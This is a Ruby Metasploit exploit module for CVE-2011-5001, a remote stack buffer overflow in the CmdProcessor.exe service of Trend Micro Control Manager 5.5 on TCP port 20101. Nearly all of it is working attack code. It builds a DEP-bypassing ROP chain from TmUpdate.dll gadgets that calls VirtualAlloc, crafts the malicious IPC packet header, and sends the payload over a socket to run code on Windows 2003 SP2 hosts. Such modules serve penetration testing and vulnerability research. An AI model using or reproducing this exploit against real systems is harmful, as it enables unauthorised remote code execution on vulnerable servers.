Trend Micro Control Manger 5.5 – ‘CmdProcessor.exe’ Remote Stack Buffer Overflow (Metasploit)
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::Tcp def initialize(info={}) super(update_info(info, 'Name' => "TrendMicro Control Manger <= v5.5 CmdProcessor.exe Stack Buffer Overflow", 'Description' => %q{ This module exploits a vulnerability in the CmdProcessor.exe component of Trend Micro Control Manger up to version 5.5. The specific flaw exists within CmdProcessor.exe service running on TCP port 20101. The vulnerable function is the CGenericScheduler::AddTask function of cmdHandlerRedAlertController.dll. When processing a specially crafted IPC packet, controlled data is copied into a 256-byte stack buffer. This can be exploited to execute remote code under the context of the user. }, 'License' => MSF_LICENSE, 'Author' => [ 'Luigi Auriemma', #Initial discovery 'Blue', #Metasploit ], 'References' => [ ['CVE', '2011-5001'], ['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-345/'] ], 'Payload' => { 'BadChars' => "\x00", }, 'DefaultOptions' => { 'ExitFunction' => 'process', }, 'Platform' => 'win', 'Targets' => [ [ # TCM 5.5 cannot be installed in Win2k3 SP0-SP1, Win2k8, or XP 'Windows 2003 Server SP2 (DEP Bypass)', { 'Ret' => 0x666b34c8, # TMNotify.dll stack pivot 'Offset' => 5000 } ], ], 'Privileged' => false, 'DisclosureDate' => "Dec 07 2011", 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(20101) ], self.class) end def junk return rand_text(4).unpack("L")[0].to_i end def exploit #TmUpdate.dll rop_chain = [ 0x668074d4, # POP EDX # OR AL,0F6 # RETN 0x3FCD0FFC, # Put 00001000 into edx 0x667611b2, # ADD EDX,C0330004 # RETN 04 0x667c99e7, # POP EBP # RETN [TmUpdate.dll] junk, 0x667c99e7, # skip 4 bytes [TmUpdate.dll] 0x667e3250, # POP EBX # RETN [TmUpdate.dll] 0xffffffff, # NEG EBX 0x6683ab64, # INC EBX # XOR EAX,EAX # RETN [TmUpdate.dll] 0x6683ab64, # INC EBX # XOR EAX,EAX # RETN [TmUpdate.dll] 0x6680a1d3, # POP EAX # RETN [TmUpdate.dll] 0xffffffc0, # Value to negate, will become 0x00000040 0x66812b53, # NEG EAX # RETN [TmUpdate.dll] 0x667f030a, # MOV ECX,EAX # RETN [TmUpdate.dll] 0x667d4c7c, # POP EDI # RETN [TmUpdate.dll] 0x667e8003, # RETN (ROP NOP) [TmUpdate.dll] 0x667d54d0, # POP ESI # RETN [TmUpdate.dll] 0x667baf06, # JMP [EAX] [TmUpdate.dll] 0x66833376, # POP EAX # RETN [TmUpdate.dll] 0x6686115c, # ptr to &VirtualAlloc() [IAT TmUpdate.dll] 0x6681ceb3, # PUSHAD # RETN [TmUpdate.dll] 0x668382c3, # ptr to 'call esp' [TmUpdate.dll] ].pack('V*') #rop chain generated by mona.py header = "\x00\x00" header << "\x13\x88" #size of buffer header << rand_text_alpha(9) header << "\x15\x09\x13" #opcode header << "\x00\x00\x00" header << rand_text_alpha(25) header << "\xFE\xFF\xFF\xFF" #in instruction #MOV EDI,DWORD PTR DS:[EAX+ECX] #ECX is our buffer and needs to be readable dword header << "\xFF\xFF\xFF\xFF" #after sum with EAX. Pointer from EAX increments by #LEA EAX,DWORD PTR DS:[EAX+EDI+4] and then is saved header << "\xFF\xFF\xF4\xFF" #and used again. We can essentially walk the loop which increments EBX by 1 until we get to 14 which leads header << "\xFF\xFF" #us to our vulnerable function header << rand_text_alpha(1) #align stack again for rop pay = rop_chain pay << make_nops(374 - rop_chain.length) pay << "\xeb\x04" #Short jmp 0x04 pay << [target.ret].pack('V') pay << payload.encoded sploit = header sploit << pay filler = rand_text_alpha(target['Offset'] - (sploit.length)) connect print_status("Sending request...") sock.put(sploit + filler) handler disconnect end end |